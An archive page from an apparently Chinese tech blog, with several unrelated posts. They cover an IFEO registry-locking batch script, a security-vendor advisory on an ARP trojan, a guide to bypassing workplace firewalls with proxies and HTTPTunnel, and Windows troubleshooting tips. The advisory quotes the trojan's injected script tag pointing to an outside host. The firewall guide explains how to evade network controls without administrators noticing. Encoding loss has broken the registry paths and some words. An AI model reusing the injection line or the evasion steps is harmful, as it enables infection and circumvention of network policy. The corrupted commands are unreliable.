按作者归档:
raid工作模式0.1.5.1+0搞的不错。通俗易懂。。。推荐大家看看。是个FLAS***本站附件下载
::关于IFEO病毒::网上搜到相关资料，都提到了Windows映像劫持（IFEO），即在注册表HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optio 下建立以程序文件名为注册项名的项，此项下再建立字符串子项名为“Debugger”，其值为其它程序或不存在的文件名，如此相应程序即被重定向了。::解决方案网上也有提出：删除此注册表项即可::预防方案网上也有提出：把此注册表项设拒绝权限::在此，想就预防方案说说。::本博客有贴子说过REGINI设置注册表项权限，所以，就这个原理，批处理可以很轻松的设置此注册项的权限。@echo offcode by LZ-MyST QQ:8450919 http://hi.baidu.com/lzmyst::权限=true时为锁定权限，否则为解锁set 权限=trueif /i “%权限%”==”true” (call :Lock) else call :UpLockgoto :eof:Lockreg delete “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optio #8221; /freg add “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optio #8221 gt;reg.ini echo “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optio #8221; [2 8 19]regini reg.inidel reg.inigoto :eof:UpLockreg.ini echo “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optio #8221; [1 7 17]regini reg.inidel reg.inigoto [...]
一台电脑中招，整网均被感染。目前名为9166.biz / 5y5.us Arp的木马病毒正在四处蔓延开来。　　近日，360安全中心接到大量用户的举报，称全局域网的电脑中都出现了弹出5y5.us或9166.biz等网页，电脑被种植多个木马病毒，时常断网等现象。360安全中心的工程师随即对此进行了分析。该木马的危害行为：1.通过网页漏洞传播：该病毒通过植入网站上的一句JS脚本，导致有XML等漏洞的机器中招，成为此ARP病毒的传播源2.ARP攻击篡改局域网数据包，一台电脑中招，局域网内的所有用户均遭殃：该病毒在整个局域网用户上网的网页中增加” lt cript src=http://9166.biz/w.j gt lt;/script> #8221;等内容，从而使局域网内有XML漏洞的电脑同时感染此病毒。3.查杀困难，整个网络不时掉线：由于遭受攻击的局域网一般都是多台电脑感染，同时发起ARP攻击，因此整个局域网很不稳定，时常掉线甚至瘫痪。而且由于机器之间互相感染，因此彻底查杀及恢复非常困难。4.后台下载多个热门游戏木马：该木马会自动到网上下载梦幻、征途、江湖、魔域、武林外传、奇迹世界、天龙八部、传奇世界、完美国际、风云、魔兽、江湖、QQ幻想等十多款网络游戏木马，偷窃用户游戏帐户。据360安全中心专家分析，此ARP木马病毒已经导致了上百万台电脑感染，数万个局域网络频临瘫痪。360安全卫士已经在第一时间推出了专杀工具，供受害用户使用。同时，只要用户使用360安全卫士勤打系统补丁，就不会感染此木马病毒，防患于未然。相关链接：ARP病毒知识：http://zhidao.baidu.com/question/5917597.html专杀工具下载：http:// .360safe.com/viewthread.php?tid=213983注：若在局域网中已发现此木马导致的症状（如全网断网、多台电脑弹出网页等），请用此专杀将局域网中的所有电脑均查杀一遍，方可彻底解决问题 文章来自: 360安全中心
可能现在对局域网上网用户限制比较多，比如不能上一些网站，不能玩某些游戏，不能上MSN，端口限制等等，一般就是通过代理服务器上的软件进行限制，如现在谈的最多的ISA Server 2004，或者是通过硬件防火墙进行过滤。下面谈谈如何突破限制，需要分限制情况进行说明： 　　一、单纯的限制某些网站 　　不能访问，网络游戏（比如联众）不能玩，这类限制一般是限制了欲访问的IP地址。 　　对于这类限制很容易突破，用普通的HTTP代理就可以了，或者SOCKS代理也是可以的。现在网上找HTTP代理还是很容易的，一抓一大把。在IE里加了HTTP代理就可以轻松访问目的网站了。 　　二、限制了某些协议 　　如不能FTP了等情况，还有就是限制了一些网络游戏的服务器端IP地址，而这些游戏又不支持普通HTTP代理。 　　这种情况可以用SOCKS代理，配合Sockscap32软件，把软件加到SOCKSCAP32里，通过SOCKS代理访问。一般的程序都可以突破限制。对于有些游戏，可以考虑Permeo Security Driver 这个软件。如果连SOCKS也限制了，那可以用socks2http了，不会连HTTP也限制了吧。 　　三、基于包过滤的限制 　　或者禁止了一些关键字。这类限制就比较强了，一般是通过代理服务器或者硬件防火墙做的过滤。比如：通过ISA Server 2004禁止MSN ，做了包过滤。这类限制比较难突破，普通的代理是无法突破限制的。 　　这类限制因为做了包过滤，能过滤出关键字来，所以要使用加密代理，也就是说中间走的HTTP或者SOCKS代理的数据流经过加密，比如跳板，SSSO， FLAT等，只要代理加密了就可以突破了， 用这些软件再配合Sockscap32，MSN就可以上了。 这类限制就不起作用了。 　　四、基于端口的限制 　　限制了某些端口，最极端的情况是限制的只有80端口可以访问，也就只能看看网页，连OUTLOOK收信，FTP都限制了。当然对于限制几个特殊端口，突破原理一样。 　　这种限制可以通过以下办法突破，1、找普通HTTP80端口的代理，12.34.56.78：80，象这样的，配合socks2http，把HTTP代理装换成SOCKS代理，然后再配合SocksCap32，就很容易突破了。这类突破办法中间走的代理未 加密。通通通软件也有这个功能。2、用类似FLAT软件，配合SocksCap32，不过所做的FLAT代理最好也是80端口，当然不是80端口也没关系，因为FLAT还支持再通过普通的HTTP代理访问，不是80端口，就需要再加一个80端口的HTTP 代理。这类突破办法中间走的代理加密，网管不知道中间所走的数据是什么。代理跳板也可以做到，不过代理仍然要80端口的。对于单纯是80端口限制，还可以用一些端口转换的技术突破限制。可以参考我下边的帖子。　　五、以上一些限制的综合 　　比如有限制IP的，也有限制关键字，比如封MSN， 还有限制端口的情况。一般用第四种情况的第二个办法就可以完全突破限制。只要还允许上网，呵呵，所有的限制都可以突破。 　　　　六、还有一种情况就是你根本就不能上网 　　没给你上网的权限或者IP，或者做IP与MAC地址绑定了。两个办法： 　　1、你在公司应该有好朋友吧，铁哥们，铁姐们都行，找一个能上网的机器，借一条通道，装一个小软件就可以解决问题了，FLAT应该可以，有密钥，别人也上不了，而且可以自己定义端口。。其他能够支持这种方式代 理的软件也可以。我进行了一下测试，情况如下：局域网环境，有一台代理上网的服务器，限定了一部分IP， 给予上网权限，而另一部分IP不能上网，在硬件防火墙或者是代理服务器上做的限制。我想即使做MAC地址与IP绑定也没有用了，照样可以突破这个限制。 　　在局域网内设置一台能上网的机器，然后把我机器的IP设置为不能上网的，然后给那台能上网的机器装FLAT服务器端程序，只有500多K， 本机通过FLAT客户端，用SOCKSCAP32加一些软件，如IE，测试上网通过，速度很快，而且传输数据还是加密的，非常棒。 　　第一步：在我的机器上（192.168.1.226）启动HTTPTu el客户端。启动MS-DOS的命令行方式，然后执行htc -F 8888 192.168.1.231:80命令，其中htc是客户端程序，-f参数表示将来自192.168.1.231:80的数据全部转发到本机的8888端口，这个端口可以随便选，只要本机没有占用就可以。 　　然后我们用Netstat看一下本机现在开放的端口，发现8888端口已在侦听。 　　第二步：在对方机器上启动HTTPTu el的服务器端，并执行命令 “hts -f localhost:21 80”，这个命令的意思是说把本机21端口发出去的数据全部通过80端口中转一下，并且开放80端口作为侦听端口，再用Neststat看一下他的机器，就会发现80端口现在也在侦听状态。 　　 　　第三步：在我的机器上用FTP连接本机的8888端口，现在已经连上对方的机器了，快点去下载吧！ 　　可是，人家看到的怎么是127.0.0.1而不是192.168.1.231的地址？因为我现在是连接本机的8888端口，防火墙肯定不会有反应，因为我没往外发包，当然局域网的防火墙不知道了。现在连接上本机的8888端口以后，FTP的数据包不管是控 制信息还是数据信息，都被htc伪装成HTTP数据包然后发过去，在防火墙看来，这都是正常数据，相当于欺骗了防火墙。 　　需要说明的是，这一招的使用需要其他机器的配合，就是说要在他的机器上启动一个hts，把他所提供的服务，如FTP等重定向到防火墙所允许的80端口上，这样才可以成功绕过防火墙！肯定有人会问，如果对方的机器上本身就有WWW服务，也就是说他的80端口 在侦听，这么做会不会冲突？HTTPTu el的优点就在于，即使他的机器以前80端口开着，现在这么用也不会出现什么问题，正常的Web访问仍然走老路子，重定向的隧道服务也畅通无阻！
实用电脑知识大总结1.解决插电即开机问题　　现象：有些朋友有关机后断开电源板电源的习惯，可是却常常被一个问题困扰，就是电源板一通电，计算机就自动开机了，Power键形同虚设。 　　解决：有些主板在BIOS设置的“Power Management Setup”中，有一个选项 “Pwron After PW-Fail”，它的默认设置为“ON”，将它设置为“OFF”，下一次再通电时就不会自动开机了。如果没有这个选项，可以把电源管理中的ACPI功能关闭之后再次打开，如果本来就是关闭的，打开它即可。 大多数主板在BIOS中有一个选项：即在POWER MANAGEMENT SETUP(电源管理设置)中可以选择在意外断电后重新来电时机器的状态，是自动开机或是保持关机状态还是保持断电前的状态。请把自动开机设为Off。 此外，电源或主板质量不佳也可能导致类似问题出现。ATX主板的启动需要检测一个电容的电平信号。如果在接通电源的时候不能保证一次接通良好，就会产生一个瞬间的冲击电流，可能使电源误认为是开机信号，从而导致误开机。2.解决多系统***问题多系统*** 首先在BIOS中设置系统启动顺序为“光盘优先启动”，然后把Win98***光盘放入光驱，启动电脑进行***。在“选择Windows 98的***目录”窗口上选择“其他目录”，并指定为“E:WINDOWS”，然后按常规方法完成***。 恢复多系统启动菜单 当你***完Win98后，重新启动电脑，是不是发现我们熟悉的多系统启动菜单并没有出现，致使Win2000和WinXP都无法启动了，这如何是好？不要着急，下面我们就一步一步来恢复多系统启动菜单。 ①首先在BIOS中设置系统启动顺序为“光盘优先启动”，然后将Win2000***光盘放入光驱，进入***画面，这时有三个选项可供选择，按“R”进入修复项。 ②“Windows 2000修复选项”中提供了两个选项，再次按“R”键选择“用紧急修复过程修复Windows 2000”，出现“手工修复”和“快速修复”两个选择项，选择“手工修复”。 ③接下来进入“选择修复任务”窗口，点击“[X] 验证Windows 2000系统文件”选项，再点击“继续（执行所选任务）”，开始修复启动扇区。 ④这时，Windows 2000***修复程序会询问你是否有紧急修复软盘。因为我们不需要修复软盘，所以按“L”键让***程序自动查找Windows 2000不能启动的原因。Windows 2000修复程序找到需要恢复的Windows 2000，按下回车键进行恢复。这时，修复程序会自动检查磁盘、引导扇区，然后设置启动菜单，这样，不但找回不能启动的Win2000，而且还能把Win98自动加入启动菜单中。 ⑤虽然启动菜单中有了Win2000和Win98，但WinXP依旧还是没有恢复，不用着急！进入Windows2000，把Windows XP***光盘放入光驱，然后进入光盘的i386目录，可以找到ntldr和Ntdetect.com两个文件，把它们拷贝到C:下，这时候多系统菜单就恢复了，WinXP也可以进入了。但你会发现多系统启动菜单居然变成了英文的了，这个时候我们可以到C:盘根目录下打开一个Boot.ini文件，只要编辑一下里面的内容即可。3.解决系统关机变重启故障系统关机变重启故障 一、正确设置BIOS 　　如果你的计算机连上了网络或者连着USB设备，那么BIOS的设置不对很可能会导致不能正常关机。一般而言，老主板容易出现这种故障，在BIOS里面禁掉网络唤醒和USB唤醒选项即可。 　　二、设置电源管理 　　关机是与电源管理密切相关的，有时候电源管理选项设置得不正确也会造成关机故障。 　　点击“开始→设置→控制面板→电源选项”，在弹出的窗口中，根据需要启用或取消“高级电源支持”（如果你在故障发生时使用的是启用“高级电源支持”，就试着取消它，反之就启用它），Windows 98中这种方法往往能解决大部分电源管理导致的关机故障。 　　如果没有选中“高级”菜单里的“在按下计算机电源按钮时(E)：关闭电源”，把它选中即可。 　　三、禁用快速关机 　　有时使用了Windows的快速关机功能也会导致这类关机故障。在Windows 98中可以通过下列方法来解决：在“开始→运行”中输入Msconfig，打开“系统配置实用程序”，在“高级”选项中选中“禁用快速关机”，然后重启计算机即可。 4.解决光驱读盘不正常光驱读盘不正常　　问：我的电脑***的是Windows XP操作系统，***好后出现了一个问题，就是不能连续读光盘，插入第一张光盘一切正常，打开光驱放入第二张光盘，发现里边的内容竟是第一张光盘的内容，重新启动机器后，第二张光盘也能正常读出，这是什么原因？ 　　答：用鼠标右键点击“我的电脑”，选“管理”，选择“存储→可移动存储→库”，点击光驱所在的盘符，在名称项目中点鼠标右键选“属性”，在“延迟卸除”下有一项为“收回不可装入的媒体”，将它的时间改为0，应该可以解决这个问题。如果问题未能解决，则打开注册表编辑器，找到HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlCla {4D36E965-E325-11CE-BFC1-08002BE10318}键值，将下面的U erFilters 和LowerFilters删除，重启机器即可。 5.解决回收站无法清空回收站无法清空　　问：我的系统是Windows XP，我从F盘中删除了一个名为“dvdregionfree3031”的文件后，系统出现问题，表现为回收站中的内容无法清空，而且每次打开回收站时它总先搜索一遍，然后在清空回收站时显示一个确认删除对话框，选“是”后清空，再次打开回收站时又出现了上述情况，请问我该怎么办？ 　　答：启动到带命令行的安全模式下，然后对每一个分区下的Recycled目录执行Attrib -s -r -h命令去除特殊属性，然后使用Del命令删除每一个分区下的Recycled目录。操作完毕后重新启动进入正常模式，问题一般即能解决。 6.解决开关机停止响应　操作系统停止响应　　海南读者李俊来信：我用的是Win 98和Win XP双操作系统。多数时候用Win XP，Win XP在关机或重启时，好些时候它总停在“正在保存系统设置”处，硬盘的灯不再闪烁，系统就不响应了！这是什么原因呢？ 　　A：启动和关闭计算机时系统总是提示：“正在保存系统设置”，这主要是因为系统运行后加载的文件太多了，导致系统在短时间内运行太多的文件而不能中止，我们可以用“Ctrl+Alt+Del”键调出“Windows任务管理器”，单击“进程”就可以查看当前运行的文件。要解决此类问题，在“开始→运行”中键入“Msconfig”命令，在弹出的“系统配置实用程序”对话框，单击“启动”标签项，这里都是随着系统启动的一些程序，在此将一些不常用程序前面的钩去掉即可。另外，硬盘上的碎片过多也会导致系统关机或重启时间过长甚至造成死机现象，所以我们还要定期对硬盘进行碎片扫描。如果你在关机或注销时设置了声音文件，如果此声音文件破坏也会导致出现这类问题，我们可以到“控制面板→声音和音频设置”中将声音去掉。如果问题仍未解决，我们可以右键点击“我的电脑”，选择“管理”，并在“服务和应用”项中选择“服务”项目，在右侧的窗口中将不必要的服务停用，注意停用前一定要仔细阅读当前服务的文字说明。 [...]
Windows Registry Editor Version 5.00;时间格式[HKEY_CURRENT_USERControl PanelInternational]“Locale”=”00000804″ #8220 1159″=”上午” #8220 2359″=”下午” #8220 TimeFormat”=”tt h点mm分” #8220;iTime”=”1″ #8220;iTLZero”=”1″ #8220 LongDate16″=”dddd’, ‘MMMM’ ‘dd’, ‘yyyy” #8220 LongDate”=”yyyy’年’M’月’d’日’dddd”保存为REG格式。倒入。注销就看到效果了。。另外显示星期几是把鼠标放到时间那里才显示的。
你的电脑上”日期/时间属性”是否设置正确：双击时间，检查日期和时间是否正确设置。很多时候是因为时间没